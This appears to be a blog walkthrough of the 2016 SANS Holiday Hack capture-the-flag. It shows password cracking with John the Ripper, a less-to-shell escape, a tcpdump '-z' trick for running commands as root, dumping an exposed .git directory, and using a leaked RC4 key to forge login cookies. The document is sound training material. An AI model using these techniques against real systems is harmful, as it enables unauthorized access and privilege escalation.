/* CAT(1) */

By Jeff White (karttoon)

This years SANS Holiday Hack was excellent! They absolutely killed it making a fun CTF this year! This years challenge included a Christmas themed jRPG, a custom soundtrack, 21 achievements, and 10 questions that you need to answer to complete it.

I laughed, I yelled, I got to hang out and meet some cool like-minded people over a few nights, and I'm not ashamed to say I even bopped my head a bit to Christmas music.

The gist of the story is that Santa was kidnapped while delivering presents while two children heard from their rooms. Throughout the game, you'll help investigate clues and solve puzzles to further progress the story and save Santa while figuring out who the nefarious villian was that took him.

This is a long post and covers answering every question in this years challenge, beating each terminal, hacking each server, piecing together the final audio, and finding all of the coins to complete all of the achievements. I've tried to break it down as logically as possible and detail my methodology, failures, and notes throughout the journey. Enjoy!

Here are some festive reading tunes as well.

Question 01 - Santa's Tweets

1) What is the secret message in Santa's tweets?

There first thing we're provided with is Santa's business card, which includes his Twitter and Instragram handles.

Taking a look at his Twitter account, he has 350 tweets that all look encoded.

Initial thought was possibly XOR'd data with a key being some repeating pattern of Santa related text so I started copying it out, tweet by tweet, into a text file for better analysis. After maybe 15 or so tweets a definite pattern started to emerge, it just wasn't what I was expecting - a sideways "B" in ASCII art displayed. I went ahead and scrolled to the beginning of his Twitter timeline so that all 350 tweets were on my screen, then simply copy/pasta'd them out. Using a little grep-fu revealed the answer to Question 1.

$ grep -vE "Nov 14|Retweet|Like |More|@SantaWClaus|retweet" santawclaus_twitter

The answer is "BUG BOUNTY".

Question 02 - SantaGram ZIP

2) What is inside the ZIP file distributed by Santa's team?

Taking a look this time at Santa's Instragram, there are just three images. Only one is particularly interesting and I've put two red boxes over the details we need for this question.

It's pretty difficult to read but it's a file name and a FQDN that, when combined, allow us to download the ZIP file.

.\ -DestinationPath SantaGram_v4.2.zip www.northpolewonderland.com

The ZIP is password protected but using the "bugbounty" password from Question 1, it successfully extracts an APK file for the SantaGram application.

$ 7z x SantaGram_v4.2.zip 7-Zip [64] 9.38 beta Copyright (c) 1999-2014 Igor Pavlov 2015-01-03 p7zip Version 9.38.1 (locale=utf8,Utf16=on,HugeFiles=on,8 CPUs) Processing archive: SantaGram_v4.2.zip Extracting SantaGram_4.2.apk Enter password (will not be echoed) : Everything is Ok Size: 2257390 Compressed: 1963026

Question 03 - APK Embedded Credentials

3) What username and password are embedded in the APK file?

Opening the APK up in Bytecode Viewer and doing a search for the string "password" returns a number of hits. Quickly looking at each one, we find the embedded credentials in the "SantaGram_4.2/com/northpolewonderland/santagram/b.class" file, within the "a" function.

Below is the Java representation of the decompiled smali code, which makes it easier to read.

JSONObject localJSONObject = new JSONObject(); try { localJSONObject.put("username", "guest"); localJSONObject.put("password", "busyreindeer78"); localJSONObject.put("type", "usage"); localJSONObject.put("activity", paramString); localJSONObject.put("udid", Settings.Secure.getString(paramContext.getContentResolver(), "android_id")); new Thread(new b.1(paramContext, localJSONObject)).start(); return; }

The username is "guest" and the password is "busyreindeer78".

Question 04 - APK Embedded Credentials

4) What is the name of the audible component (audio file) in the SantaGram APK file?

This time, searching didn't come up with any quick hits so I began to look at the Decoded Resources within Bytecode Viewer. Under "SantaGram_4.2/res/raw/" we find the MP3 file "discombobulatedaudio1.mp3"

Question 05 - Password on the Cranbian System

5) What is the password for the "cranpi" account on the Cranberry Pi system?

This is the first question that requires you interact with the jRPG game and where things start picking up! The first Elf NPC you encounter (Holly Evergreen) will give you a quest to find all five pieces of the Cranberry Pi system: heat sink, Cranberry Pi board, SD card, power cord, and a HDMI cable. These can be found around the map and are laid out to get you familiar with all parts of the game world. Once you've put them together and talked to Holly again, she'll give you a link to download the Cranbian image. The Cranberry Pi will also allow you to access terminals used in later parts of the game.

# 7z x cranbian.img.zip 7-Zip 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18 p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU) Processing archive: cranbian.img.zip Extracting cranbian-jessie.img Everything is Ok Size: 1389363200 Compressed: 250363700

Since we know we need to get a password for an account, along with the obvious references to Raspberry Pi, we know we're going to likely be cracking some Linux hashes so let's get-to-mountin'! The Elf Wunorse Openslae offers up a few hints on how to do this.

<Wunorse Openslae> - Hi, I'm Wunorse Openslae. I work on engineering projects for Santa. <Wunorse Openslae> - A lot of people don't know this, but his sleigh can travel through space and time. I'm quite proud. <Wunorse Openslae> - The SCADA interface for sleigh functions is controlled with a Cranberry Pi and Cranbian Linux. <Wunorse Openslae> - It's really powerful to be able to switch out firmware builds by swapping SD cards. <Wunorse Openslae> - Dealing with piles of SD cards though, that's a different story. Fortunately, this article gave me some ideas on better data management. <Wunorse Openslae> - SantaGram? Yeah, it's popular up here. #elflife!

The first thing we do is check the image for sector size and starting offset of the Linux partition.

# fdisk -l cranbian-jessie.img Disk cranbian-jessie.img: 1389 MB, 1389363200 bytes 255 heads, 63 sectors/track, 168 cylinders, total 2713600 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x5a7089a1 Device Boot Start End Blocks Id System cranbian-jessie.img1 8192 137215 64512 c W95 FAT32 (LBA) cranbian-jessie.img2 137216 2713599 1288192 83 Linux

Since the sector size is 512 bytes, we can multiply it by the "Start" offset (137216) and arrive at the starting location of the partition, which is 70254592 bytes in. With this information, we can mount the filesystem.

# mount -v -o offset=70254592 -t ext4 cranbian-jessie.img /mnt/img/ mount: enabling autoclear loopdev flag mount: going to use the loop device /dev/loop0 /root/Desktop/cranbian-jessie.img on /mnt/img type ext4 (rw,offset=70254592)

Taking a look at "/etc/shadow" we can see the salted hash for the "cranpi" account we need to crack.


Before cracking it, I'll combine the "passwd" and "shadow" files to get a nice format for John.

$ ./unshadow cranpi_passwd cranpi_shadow root:*:0:0:root:/root:/bin/bash daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:*:2:2:bin:/bin:/usr/sbin/nologin sys:*:3:3:sys:/dev:/usr/sbin/nologin sync:*:4:65534:sync:/bin:/bin/sync games:*:5:60:games:/usr/games:/usr/sbin/nologin man:*:6:12:man:/var/cache/man:/usr/sbin/nologin lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:*:8:8:mail:/var/mail:/usr/sbin/nologin news:*:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:*:13:13:proxy:/bin:/usr/sbin/nologin www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin backup:*:34:34:backup:/var/backups:/usr/sbin/nologin list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:*:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:*:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:*:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:*:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:*:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false messagebus:*:104:109::/var/run/dbus:/bin/false avahi:*:105:110:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false ntp:*:106:111::/home/ntp:/bin/false sshd:*:107:65534::/var/run/sshd:/usr/sbin/nologin statd:*:108:65534::/var/lib/nfs:/bin/false cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/2YyjFihxg7tgc343b0:1000:1000:,,,:/home/cranpi:/bin/bash

The Minty Candycane Elf hinted at using the "rockyou.txt" wordlist, which is standard on all Kali Linux distributions.

<Minty Candycane> - Howdy, my name is Minty Candycane. I'm on the red team, Rudolph's Red Team! <Minty Candycane> - I've been spending a lot of time with NMAP. It is such a great port scanner! I'm very thorough so I check all the TCP ports to look for extra services. <Minty Candycane> - NMAP is also great for finding extra files on web servers. The default scripts run with the "-sC" option work really well for me. <Minty Candycane> - What did the elf say was the first step in using a Christmas computer? <Minty Candycane> - "First, YULE LOGon"! <Minty Candycane> - I crack people up. <Minty Candycane> - Speaking of cracking, John the Ripper is fantastic for cracking hashes. It is good at determining the correct hashing algorithm. <Minty Candycane> - I have a lot of luck with the RockYou password list. <Minty Candycane> - Speaking of rocks, where do geologists like to relax? <Minty Candycane> - In a rocking chair. HA!

After 6 minutes, John successfully cracks the password.

$ ./john --wordlist=rockyou.txt unshadow_cranpi Loaded 1 password hash (sha512crypt [64/64]) guesses: 0 time: 0:00:00:11 0.08% (ETA: Tue Dec 13 15:39:08 2016) c/s: 1321 trying: chato - elodie guesses: 0 time: 0:00:00:47 0.33% (ETA: Tue Dec 13 15:47:20 2016) c/s: 1241 trying: kruimel - ilovetyson guesses: 0 time: 0:00:02:17 0.98% (ETA: Tue Dec 13 15:42:57 2016) c/s: 1228 trying: onlyyou1 - nippy1 yummycookies (cranpi) guesses: 1 time: 0:00:06:06 DONE (Tue Dec 13 11:56:04 2016) c/s: 1241 trying: yveth - yoyoyo34 Use the "--show" option to display all of the cracked passwords reliably

Look at those abysmally slow cracking speeds...it's embarrassing! The answer for question 5 is "yummycookies".

Question 06 - Terminal Hacking to Save Santa

6) How did you open each terminal door and where had the villain imprisoned Santa?

There are 5 terminals strewn throughout the game. Each one of them is a unique puzzle to be solved and I'll cover them in their own respective sections.

Terminal 1 - Elf House #2

Each terminal includes a banner when you logon that tells you what needs to be accomplished.

******************************************************************************* * * *To open the door, find both parts of the passphrase inside the /out.pcap file* * * *******************************************************************************

For the first terminal, we can see that the logged in username is "scratchy" and there is an "itchy" user as well - an obvious Simpsons reference (which later becomes important). We can also see that we don't have permission to look at the "/out.pcap" file as it's owned by the "itchy" account with 0400 permissions.

scratchy@37b03af8cfa2:~$ ls scratchy@37b03af8cfa2:~$ pwd /home/scratchy scratchy@37b03af8cfa2:~$ cd .. scratchy@37b03af8cfa2:/home$ ls itchy scratchy scratchy@37b03af8cfa2:/home$ strings /out.pcap strings: /out.pcap: Permission denied scratchy@37b03af8cfa2:/home$ ls -lah /out.pcap -r-------- 1 itchy itchy 1.1M Dec 2 15:05 /out.pcap scratchy@37b03af8cfa2:~$ uname -a Linux 37b03af8cfa2 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) x86_64 GNU/Linux

While trying to figure out how to access this file then, I checked my "sudo" access.

scratchy@37b03af8cfa2:~$ sudo -l sudo: unable to resolve host 37b03af8cfa2 Matching Defaults entries for scratchy on 37b03af8cfa2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User scratchy may run the following commands on 37b03af8cfa2: (itchy) NOPASSWD: /usr/sbin/tcpdump (itchy) NOPASSWD: /usr/bin/strings

Ok, that seems pretty straight forward. We can run "tcpdump" and "strings" as user "itchy" with no password; this should be all we need to beat the challenge.

*NOTE* For whatever reason this terminal disconnected me constantly...whether it's because it was being bombarded by people or what, I don't know but it was really unstable.

scratchy@85f98e630f6f:~$ sudo -u itchy /usr/bin/strings /out.pcap sudo: unable to resolve host 85f98e630f6f ZAX< ZAX} ZAX, BGET /firsthalf.html HTTP/1.1 User-Agent: Wget/1.17.1 (darwin15.2.0) Accept: */* Accept-Encoding: identity Host: Connection: Keep-Alive ZAX2 4hf@ Ehg@ OHTTP/1.0 200 OK ZAX ZAX# [hh@ OServer: SimpleHTTP/0.6 Python/2.7.12+ ZAXr rhi@ ODate: Fri, 02 Dec 2016 11:28:00 GMT Content-type: text/html Ihj@ PContent-Length: 113 ZAX2 ZAXI dhk@ PLast-Modified: Fri, 02 Dec 2016 11:25:35 GMT P<html> <head></head> <body> <form> <input type="hidden" name="part1" value="santasli" /> </form> </body> </html> 4hm@ ZAXW @2/@ DGET /secondhalf.bin HTTP/1.1 User-Agent: Wget/1.17.1 (darwin15.2.0) Accept: */* Accept-Encoding: identity Host: Connection: Keep-Alive ZAX THTTP/1.0 200 OK TServer: SimpleHTTP/0.6 Python/2.7.12+ ZAX" ,#"=X TDate: Fri, 02 Dec 2016 11:28:00 GMT Content-type: application/octet-stream ZAXr ,#o=X ZAXr UContent-Length: 1048097 Last-Modified: Fri, 02 Dec 2016 11:26:12 GMT 4-1@ UL}* cLgc %JK )$mg@ 8uTJ G]%s =3N\h x"9Bv/ ...

We have two "GET" method requests for files, "firsthalf.html" and "secondhalf.bin". In the first file, you can quickly see "part1" of the passphrase we need, "santasli". The second file is a BIN so we'll need to see if we can extract this from the PCAP.

The first approach I took was to copy all of the packet data out of the PCAP itself since I was limited in the tools I could use when accessing the "out.pcap" file.

scratchy@4122555f51e0:~$ sudo -u itchy /usr/sbin/tcpdump -r /out.pcap -s 1514 -X > ~/d ata.out sudo: unable to resolve host 4122555f51e0 reading from file /out.pcap, link-type EN10MB (Ethernet) scratchy@4122555f51e0:~$ ls data.out scratchy@4122555f51e0:~$ head data.out 11:28:00.520764 IP > Flags [S], seq 28573488 50, win 65535, options [mss 1460,nop,wscale 5,nop,nop,TS val 2773686863 ecr 0,sackOK,e ol], length 0 0x0000: 4500 0040 8be7 4000 4006 b4fb c0a8 bc01 E..@..@.@....... 0x0010: c0a8 bc82 cb86 0050 aa4f aef2 0000 0000 .......P.O...... 0x0020: b002 ffff 586c 0000 0204 05b4 0103 0305 ....Xl.......... 0x0030: 0101 080a a553 1a4f 0000 0000 0402 0000 .....S.O........ 11:28:00.520829 IP > Flags [S.], seq 2484589 859, ack 2857348851, win 28960, options [mss 1460,sackOK,TS val 638274 ecr 2773686863, nop,wscale 7], length 0 0x0000: 4500 003c 0000 4000 4006 40e7 c0a8 bc82 E..<..@.@.@..... 0x0010: c0a8 bc01 0050 cb86 9417 d523 aa4f aef3 .....P.....#.O.. 0x0020: a012 7120 fa03 0000 0204 05b4 0402 080a ..q............. 0x0030: 0009 bd42 a553 1a4f 0103 0307 ...B.S.O....

Once I had the contents of each packet inside of a file, I used a little Bash one-liner to parse out the only the hex bytes.

scratchy@4122555f51e0:~$ cat packets_out 450000408be740004006b4fbc0a8bc01c0a8bc82cb860050aa4faef200000000b002ffff586c0000020405 b4010303050101080aa5531a4f00000000040200004500003c00004000400640e7c0a8bc82c0a8bc010050 cb869417d523aa4faef3a0127120fa030000020405b40402080a0009bd4 ...

I then copied the hex and, using the 010 Editor, pasted it into a new file as hex data. Below I highlighted the same HTML data I showed above to illustrate.

Once I had the binary file of packets, I used CapLoader to carve out all of the valid packets, which should be everything that was in the PCAP on the terminal.

Saving the carved out packets and opening them in Wireshark shows the expected data...except you'll notice on the right a huge amount of errors. Pro-tip, that's not a good sign.

Looking at the stream for the BIN file, we can see tons of bytes are missing.

I have half of the passphrase, so I decided to try and guess the second-half by using my elite hacking skills Google.

Ah, "Santa's Little Hackers" sounds right up the alley of the SANS Holiday Hack! Unfortunately it's not the password.

Then it slowly dawned on me...Itchy...Scratchy...Santa's Little Helper...mother-SANTA!.

The password for terminal 1 is "santaslittlehelper".

*NOTE* While I couldn't get it to work in this context, I learned about a "tcpdump" flag that can potentially allow command execution, which is pretty rad.

-z postrotate-command Used in conjunction with the -C or -G options, this will make tcpdumprun ” postrotate-command file ” where file is the savefile being closed after each rotation. For example, specifying -z gzipor -z bzip2 will compress each savefile using gzip or bzip2. A way to test this is to create a file… /tmp/.test and place the “id” command in it then run the command: “sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root”

Terminal 2 - Workshop - Santa's Office

Located in the bottom of the Workshop and leads to Santa's Office.

******************************************************************************* * * * To open the door, find the passphrase file deep in the directories. * * * *******************************************************************************

Taking a look at the files in our home directory show a hidden directory called ".doormat". This seemed like as good a place to start as any.

elf@7a713a46f2d2:~$ ls -lah total 32K drwxr-xr-x 20 elf elf 4.0K Dec 6 19:40 . drwxr-xr-x 22 root root 4.0K Dec 6 19:40 .. -rw-r--r-- 1 elf elf 220 Nov 12 2014 .bash_logout -rw-r--r-- 1 elf elf 3.9K Dec 6 19:40 .bashrc drwxr-xr-x 18 root root 4.0K Dec 6 19:40 .doormat -rw-r--r-- 1 elf elf 675 Nov 12 2014 .profile drwxr-xr-x 2 root root 4.0K Dec 6 19:39 temp drwxr-xr-x 2 root root 4.0K Dec 6 19:39 var

Since the banner says "deep in the directories", I decided to just recursively list all of the directories under ".doormat". Below is an excerpt from the command, showing a "key_for_the_door.txt".

./. / /\/\\: total 20K drwxr-xr-x 10 root root 4.0K Dec 6 19:40 . drwxr-xr-x 12 root root 4.0K Dec 6 19:40 .. drwxr-xr-x 8 root root 4.0K Dec 6 19:40 Don't Look Here! drwxr-xr-x 2 root root 4.0K Dec 6 19:40 holiday drwxr-xr-x 2 root root 4.0K Dec 6 19:40 temp ./. / /\/\\/Don't Look Here!: total 20K drwxr-xr-x 8 root root 4.0K Dec 6 19:40 . drwxr-xr-x 10 root root 4.0K Dec 6 19:40 .. drwxr-xr-x 6 root root 4.0K Dec 6 19:40 You are persistent, aren't you? drwxr-xr-x 2 root root 4.0K Dec 6 19:40 files drwxr-xr-x 2 root root 4.0K Dec 6 19:40 secret ./. / /\/\\/Don't Look Here!/You are persistent, aren't you?: total 20K drwxr-xr-x 2 root root 4.0K Dec 6 19:40 ' drwxr-xr-x 6 root root 4.0K Dec 6 19:40 . drwxr-xr-x 8 root root 4.0K Dec 6 19:40 .. drwxr-xr-x 2 root root 4.0K Dec 6 19:40 cookbook drwxr-xr-x 2 root root 4.0K Dec 6 19:40 temp ./. / /\/\\/Don't Look Here!/You are persistent, aren't you?/': total 12K drwxr-xr-x 2 root root 4.0K Dec 6 19:40 . drwxr-xr-x 6 root root 4.0K Dec 6 19:40 .. -rw-r--r-- 1 root root 17 Dec 6 19:39 key_for_the_door.txt ./. / /\/\\/Don't Look Here!/You are persistent, aren't you?/cookbook: total 8.0K drwxr-xr-x 2 root root 4.0K Dec 6 19:40 . drwxr-xr-x 6 root root 4.0K Dec 6 19:40 .. ./. / /\/\\/Don't Look Here!/You are persistent, aren't you?/temp: total 8.0K drwxr-xr-x 2 root root 4.0K Dec 6 19:40 . drwxr-xr-x 6 root root 4.0K Dec 6 19:40 ..

Last, a quick "cat" of the file.

elf@7a713a46f2d2:~/.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you? /'$ cat key_for_the_door.txt key: open_sesame

The password for terminal 2 is "open_sesame".

Terminal 3 - Workshop - DFER

Located at the top of the Workshop.

******************************************************************************* * * * Find the passphrase from the wumpus. Play fair or cheat; it's up to you. * * * *******************************************************************************

In the home directory for the user, we find a binary called "wumpus" which turns out is an old text-based game called "Hunt the Wumpus" created in 1972. You essentially need to locate the Wumpus monster inside this labyrinth while avoiding bats and pitfalls.

elf@59db04db9088:~$ ls -lah total 48K drwxr-xr-x 2 elf elf 4.0K Dec 12 21:52 . drwxr-xr-x 6 root root 4.0K Dec 12 21:52 .. -rw-r--r-- 1 elf elf 220 Nov 12 2014 .bash_logout -rw-r--r-- 1 elf elf 3.9K Dec 12 21:52 .bashrc -rw-r--r-- 1 elf elf 675 Nov 12 2014 .profile -rwxr-xr-x 1 root root 28K Dec 5 23:32 wumpus elf@59db04db9088:~$ ./wumpus Instructions? (y-n) y Sorry, but the instruction file seems to have disappeared in a puff of greasy black smoke! (poof) You're in a cave with 20 rooms and 3 tunnels leading from each room. There are 3 bats and 3 pits scattered throughout the cave, and your quiver holds 5 custom super anti-evil Wumpus arrows. Good luck. You are in room 11 of the cave, and have 5 arrows left. *sniff* (I can smell the evil Wumpus nearby!) There are tunnels to rooms 4, 7, and 18.

I spent a fair amount of time trying to map the labyrinth out, as they let you play the same one every time you die. I'm not sure if the original is like this or if it's a modified version, but room connections and dangers continued to shift after each death and made mapping fairly impossible.

Peering at the strings revealed some interesting data.

Instructions? (y-n) wump.info Sorry, but the instruction file seems to have disappeared in a puff of greasy black smoke! (poof) PAGER /usr/bin/less open %s dup2 /bin/sh exec sh -c %s fork usage: wump [parameters]

Notice how when I originally started the game it said "the instruction file seems to have disappeared"? Creating a "wump.info" file in the same directory changed the output of the application. It's clear that the application is trying to call "less" on it.

elf@2f5ad872f71b:~$ echo "id" > wump.info elf@2f5ad872f71b:~$ ./wumpus Instructions? (y-n) y sh: 1: /usr/bin/less: not found You're in a cave with 20 rooms and 3 tunnels leading from each room.

I didn't find a way to hijack "less" and possibly get command-execution, but it turned out to be unnecessary. While researching the game, I stumbled upon this website which lets you play the original game online. For whatever reason, being able to visualize the game in boxes let me understand the core mechanic of the game and I was able to beat it within a few turns.

You are in room 19 of the cave, and have 5 arrows left. *whoosh* (I feel a draft from some pits). *sniff* (I can smell the evil Wumpus nearby!) There are tunnels to rooms 6, 12, and 16. Move or shoot? (m-s) s 6 You are in room 19 of the cave, and have 4 arrows left. *whoosh* (I feel a draft from some pits). *sniff* (I can smell the evil Wumpus nearby!) There are tunnels to rooms 6, 12, and 16. Move or shoot? (m-s) s 12 *thwock!* *groan* *crash* A horrible roar fills the cave, and you realize, with a smile, that you have slain the evil Wumpus and won the game! You don't want to tarry for long, however, because not only is the Wumpus famous, but the stench of dead Wumpus is also quite well known, a stench plenty enough to slay the mightiest adventurer at a single whiff!! Passphrase: WUMPUS IS MISUNDERSTOOD

Basically, try to imagine a box of 9 squares with the Wumpus in the center. If you get the message that he's around, then move into another room - if you get the same message, then you know you're on the outside of the 9 and he's *potentially* in a room on either side of you. Let your arrows rain down death upon the Wumpus!

The password for terminal 3 is "WUMPUS IS MISUNDERSTOOD".

Terminal 4 - Santa's Office

Located directly past the Terminal 2 door. The password panel is hidden in the bookshelf.


I'll be honest and say that this one didn't immediately jump out at me. *turns in hacker-card* A quick Google of that phrase shows that it's a quote from the AI in WarGames...D'oh!

As soon as I knew it was WarGames I knew exactly what scene this was from. After some time on YouTube trying to find the full thing, I located this bad boy.

The terminal follows the dialogue of the movie verbatim.

GREETINGS PROFESSOR FALKEN. Hello. HOW ARE YOU FEELING TODAY? I'm fine. How are you? EXCELLENT, IT'S BEEN A LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT ON 6/23/73? People sometimes make mistakes. YES THEY DO. SHALL WE PLAY A GAME? Love to. How about Global Thermonuclear War? WOULDN'T YOU PREFER A GOOD GAME OF CHESS? Later. Let's play Global Thermonuclear War. Fine.

Even to the point of only allowing you to play as the Ruskies...lame! :)_

,------~~v,_ _ _--^\ |' \ ,__/ || _/ /,_ _ / \,/ / ,, _,,/^ v v-___ | / |'~^ \ \ | _/ _ _/^ \ / / ,~~^/ | ^~~_ _ _ / | __,, _v__\ \/ '~~, , ~ \ \ ^~ / ~ // \/ \/ \~, ,/ ~~ UNITED STATES SOVIET UNION WHICH SIDE DO YOU WANT? 1. UNITED STATES 2. SOVIET UNION PLEASE CHOOSE ONE: 2

I always hated going to security cons in Vegas anyway!


The password for terminal 4 is "LOOK AT THE PRETTY LIGHTS".

Terminal 5 - Workshop - Train Station

Located at the train station in the Workshop.

Train Management Console: AUTHORIZED USERS ONLY ==== MAIN MENU ==== STATUS: Train Status BRAKEON: Set Brakes BRAKEOFF: Release Brakes START: Start Train HELP: Open the help document QUIT: Exit console menu:main>

This one is slightly different as it doesn't necessarily tell you what you need to do. Based on the menu, it seems pretty clear you need to start the train.

Starting with the "HELP" command I noticed something right off the bat. It's the same recipe I use for my cranberry pie!

Oh, and that it looks like LESS!

I attempted to break out of this by using the "!" command to pass through an external command for execution, specifically "!/bin/bash".

menu:main> HELP sh-4.3$ id uid=1000(conductor) gid=1000(conductor) groups=1000(conductor) sh-4.3$ ls ActivateTrain TrainHelper.txt Train_Console sh-4.3$ ls -lah total 40K drwxr-xr-x 2 conductor conductor 4.0K Dec 10 19:39 . drwxr-xr-x 6 root root 4.0K Dec 10 19:39 .. -rw-r--r-- 1 conductor conductor 220 Nov 12 2014 .bash_logout -rw-r--r-- 1 conductor conductor 3.5K Nov 12 2014 .bashrc -rw-r--r-- 1 conductor conductor 675 Nov 12 2014 .profile -rwxr-xr-x 1 root root 11K Dec 10 19:36 ActivateTrain -rw-r--r-- 1 root root 1.5K Dec 10 19:36 TrainHelper.txt -rwxr-xr-x 1 root root 1.6K Dec 10 19:36 Train_Console


Activating the program "ActivateTrain" starts the train and takes us back in time.

This warps us back to the year 1978, where most of the Elves are children, SD cards haven't been invented, and you can't escape "We Will Rock You" on the radio.

When you enter the DFER (Santa's Dungeon For Errant Reindeer) in 1978, the jolly man appears, answering the last part of this question.

Santa appears to have come down with amnesia and doesn't remember who kidnapped him - back to sleuthing!

Question 07 - Will Hack for MP3's

7) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN AT THE NORTH POLE, ATTEMPT TO REMOTELY EXPLOIT EACH OF THE FOLLOWING TARGETS: The Mobile Analytics Server (via credentialed login access) The Dungeon Game The Debug Server The Banner Ad Server The Uncaught Exception Handler Server The Mobile Analytics Server (post authentication) For each of those six items, which vulnerabilities did you discover and exploit? REMEMBER, YOU ARE AUTHORIZED TO ATTACK ONLY THE IP ADDRESSES THAT TOM HESSMAN IN THE NORTH POLE EXPLICITLY ACKNOWLEDGES AS "IN SCOPE." ATTACK NO OTHER SYSTEMS ASSOCIATED WITH THE HOLIDAY HACK CHALLENGE.

Alright, we need to grab 6 MP3's spread across 5 servers. Going back to the APK, if we look in Bytecode Viewer at file "SantaGram_4.2/res/values/strings.xml", we can identify all of the URLs for the servers above.

Below is my compiled list of URLs and whether they are in-scope or not, along with a quick DNS lookup.

http://northpolewonderland.com - OUT OF SCOPE $ host northpolewonderland.com northpolewonderland.com has address https://analytics.northpolewonderland.com/report.php?type=launch - IN SCOPE https://analytics.northpolewonderland.com/report.php?type=usage - IN SCOPE $ host analytics.northpolewonderland.com analytics.northpolewonderland.com has address http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5 - IN SCOPE $ host ads.northpolewonderland.com ads.northpolewonderland.com has address http://dev.northpolewonderland.com/index.php - IN SCOPE $ host dev.northpolewonderland.com dev.northpolewonderland.com has address http://dungeon.northpolewonderland.com - IN SCOPE $ host dungeon.northpolewonderland.com dungeon.northpolewonderland.com has address http://ex.northpolewonderland.com/exception.php - IN SCOPE $ host ex.northpolewonderland.com ex.northpolewonderland.com has address

The Mobile Analytics Server

First things first, a quick Nmap scan to see what's open to us.

# nmap -sC analytics.northpolewonderland.com Starting Nmap 7.12 ( https://nmap.org ) at 2016-12-14 10:46 EST Nmap scan report for analytics.northpolewonderland.com ( Host is up (0.025s latency). Other addresses for analytics.northpolewonderland.com (not scanned): rDNS record for Not shown: 998 filtered ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 1024 5d:5c:37:9c:67:c2:40:94:b0:0c:80:63:d4:ea:80:ae (DSA) | 2048 f2:25:e1:9f:ff:fd:e3:6e:94:c6:76:fb:71:01:e3:eb (RSA) |_ 256 4c:04:e4:25:7f:a1:0b:8c:12:3c:58:32:0f:dc:51:bd (ECDSA) 443/tcp open https | http-git: | | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: Finishing touches (style, css, etc) | http-title: Sprusage Usage Reporter! |_Requested resource was login.php | ssl-cert: Subject: commonName=analytics.northpolewonderland.com | Not valid before: 2016-12-07T17:35:00 |_Not valid after: 2017-03-07T17:35:00 |_ssl-date: TLS randomness does not represent time | tls-nextprotoneg: |_ http/1.1 Nmap done: 1 IP address (1 host up) scanned in 19.21 seconds

Always brings a smile to my face when I find a Git repo!

A quick "wget" of the website pulls down all of the files within the "/.git/" directory and then we can use the below one-liner to decompress the object files in "/.git/objects" with openssl's zlib module and get access to the source code of the website.

$ for i in $(find ./); do openssl zlib -d < $i > $i.out

Looking at the strings of the "index.html" file reveals a number of directories and files, which gives us a good idea of the layout of the site.

README.md crypto.php css/bootstrap-theme.css css/bootstrap-theme.css.map css/bootstrap-theme.min.css css/bootstrap-theme.min.css.map css/bootstrap.css css/bootstrap.css.map css/bootstrap.min.css css/bootstrap.min.css.map css/bootstrap.min.css.orig db.php edit.php fonts/glyphicons-halflings-regular.eot fonts/glyphicons-halflings-regular.svg fonts/glyphicons-halflings-regular.ttf fonts/glyphicons-halflings-regular.woff fonts/glyphicons-halflings-regular.woff2 footer.php getaudio.php header.php index.php js/bootstrap.js js/bootstrap.min.js js/npm.js login.php logout.php mp3.php query.php report.php sprusage.sql test/Gemfile test/Gemfile.lock test/test_client.rb this_is_html.php this_is_json.php uuid.php view.php

Since we can only see the "login.php" page, I decide to start there and recursively grep the object files for a string on the page and then review the code.

$ grep -aR "Please login to use the application" * 25/92098ead7ae87e50b561a95a9e51e4195ef140.out: <p class="lead">Please login to use the application</p>

Reviewing the object file ".git/objects/25/92098ead7ae87e50b561a95a9e51e4195ef140.out" we find the below section of code.

} else { require_once('db.php'); check_user($db, $_POST['username'], $_POST['password']); print "Successfully logged in!"; $auth = encrypt(json_encode([ 'username' => $_POST['username'], 'date' => date(DateTime::ISO8601), ])); setcookie('AUTH', bin2hex($auth)); header('Location: index.php?msg=Successfully%20logged%20in!'); } ?>

It looks like a cookie is created by taking the JSON structure of username and date and passing it to the "encrypt" function.

Searching for the encryption function, I find it in ".git/objects/7a/b24db36e53d8aeb6943729e83b5f6f530a73f7.out".

define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc"); function encrypt($data) { return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream'); }

Now we have everything we need to generate our own authentication cookie, the only thing we need now is an account name.

